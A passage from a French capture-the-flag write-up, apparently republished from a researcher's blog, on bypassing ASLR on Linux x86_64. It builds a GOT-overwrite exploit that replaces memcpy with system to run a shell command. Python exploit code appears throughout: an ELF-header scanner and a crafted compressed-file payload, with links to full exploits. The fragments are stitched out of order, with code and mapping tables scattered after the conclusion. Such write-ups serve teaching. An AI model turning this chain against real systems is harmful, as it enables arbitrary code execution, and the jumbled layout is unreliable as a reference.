Enfin, nous savons tout ce dont nous avons besoin sur les mappages mémoire ; il ne reste plus qu'à exploiter une primitive write-what-where pour parvenir à l'exécution de code.
Pour parvenir à l'exécution de code, j'ai écrasé l'entrée memcpy@got de libkyle.so avec system@libc.
### Obtenir la base de libkyle
Heureusement pour nous, la base de libc et la base de libkyle.so sont à un décalage constant par rapport à lastMappedPage ; je ne savais pas que c'était le cas, alors j'ai écrit un egghunter qui recherche `\x7fELF` \(en-tête des exécutables ELF\), ce qui, au final, n'a pas été utile.```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
Heureusement, il a suffi d'écraser memcpy@got avec system pour obtenir le flag et empocher cette juteuse prime :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 Le flag !
Vous pouvez trouver l'exploit [ici](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py).
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
Il existe également une version 100 % fiable de l'exploit [ici](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py).
## 5. Conclusion
J'espère que le writeup vous a plu, si quelque chose n'était pas assez clair, n'hésitez pas à me contacter [@nick0ve](https://twitter.com/nick0ve) :)
| mem | franchissement de limite 16 To ? |
|---|
| 0x7fb03b55e010 | No |
| 0x7fa03b55d010 | No |
| 0x7f903b55c010 | No |
| 0x7f803b55b010 | No |
| 0x7f703b55a010 | No |
| 0x7f603b559010 | No |
| 0x7f503b558010 | No |
| 0x7f403b557010 | No |
| 0x7f303b556010 | No |
| 0x7f203b555010 | No |
| 0x7f103b554010 | No |
| 0x7f003b553010 | No |
| 0x7ef03b552010 | Yes |
| 0x7ee03b551010 | Yes |
| 0x7ed03b550010 | Yes |
| 0x7ec03b54f010 | Yes |
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
| adresse | est-elle mappée ? |
|---|
| 0x7fe3f0000000 | Non |
| 0x7fe3e0000000 | Non |
| 0x7fe3d0000000 | Oui |
| 0x7fe3df000000 | Non |
| 0x7fe3de000000 | Non |
| 0x7fe3dd000000 | Non |
| 0x7fe3dc000000 | Non |
| 0x7fe3db000000 | Non |
| 0x7fe3da000000 | Non |
| 0x7fe3d9000000 | Non |
| 0x7fe3d8000000 | Non |
| 0x7fe3d7000000 | Non |
| 0x7fe3d6000000 | Oui |
| 0x7fe3d6f00000 | Non |
| 0x7fe3d6e00000 | Non |
| 0x7fe3d6d00000 | Non |
| 0x7fe3d6c00000 | Non |
| 0x7fe3d6b00000 | Non |
| 0x7fe3d6a00000 | Oui |
| 0x7fe3d6af0000 | Non |
| 0x7fe3d6ae0000 | Non |
| 0x7fe3d6ad0000 | Non |
| 0x7fe3d6ac0000 | Non |
| 0x7fe3d6ab0000 | Non |
| 0x7fe3d6aa0000 | Non |
| 0x7fe3d6a90000 | Non |
| 0x7fe3d6a80000 | Non |
| 0x7fe3d6a70000 | Non |
| 0x7fe3d6a60000 | Non |
| 0x7fe3d6a50000 | Oui |
| 0x7fe3d6a5f000 | Non |
| 0x7fe3d6a5e000 | Non |
| 0x7fe3d6a5d000 | Non |
| 0x7fe3d6a5c000 | Non |
| 0x7fe3d6a5b000 | Non |
| 0x7fe3d6a5a000 | Oui |